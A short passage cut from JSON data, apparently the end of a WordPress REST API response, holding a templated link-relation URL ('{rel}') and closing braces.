pi.w.org\/{rel}","templated":true}]}}